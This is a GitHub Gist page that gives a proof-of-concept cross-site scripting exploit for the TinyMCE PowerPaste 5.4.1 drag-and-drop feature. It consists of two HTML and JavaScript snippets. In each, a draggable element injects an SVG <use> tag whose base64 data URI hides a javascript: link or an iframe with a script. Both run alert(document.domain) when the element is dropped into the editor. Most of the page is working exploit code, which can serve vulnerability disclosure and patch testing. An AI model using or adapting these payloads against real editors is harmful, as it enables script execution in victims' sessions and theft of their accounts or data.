Skip to content

Instantly share code, notes, and snippets.

@l4yton
Last active May 1, 2021 09:27
Show Gist options
  • Save l4yton/c82a47053675f1f3f61746d5b955d43d to your computer and use it in GitHub Desktop.
Save l4yton/c82a47053675f1f3f61746d5b955d43d to your computer and use it in GitHub Desktop.
TinyMCE PowerPaste 5.4.1 Drag & Drop XSS
<style>
#drag {
position: absolute;
font-size: 50px;
}
</style>
<div id="drag" draggable="true">Drag me into the editor :)</div>
<script>
var div = document.getElementById("drag");
div.addEventListener("dragstart", (e) => {
e.dataTransfer.setData(
"text/html",
'<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0iYSIgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGEgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoZG9jdW1lbnQuZG9tYWluKSI+CiAgPGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNDAiIHN0cm9rZT0iYmxhY2siIHN0cm9rZS13aWR0aD0iMyIgZmlsbD0icmVkIiAvPgo8L2E+Cjwvc3ZnPgo=#a"></use></svg>'
);
});
</script>
<style>
#drag {
position: absolute;
font-size: 50px;
}
</style>
<div id="drag" draggable="true">Drag me into the editor :)</div>
<script>
var div = document.getElementById("drag");
div.addEventListener("dragstart", (e) => {
e.dataTransfer.setData(
"text/html",
'<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0iYSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjEwMDAiPgogIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiIHJlcXVpcmVkRXh0ZW5zaW9ucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxpZnJhbWUgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIApzcmNkb2M9IiZsdDtzY3JpcHQKIHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQsYWxlcnQoZG9jdW1lbnQuZG9tYWluKScKJmd0OyZsdDsvc2NyaXB0Jmd0OyIgLz48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+Cg==#a"></use></svg>'
);
});
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment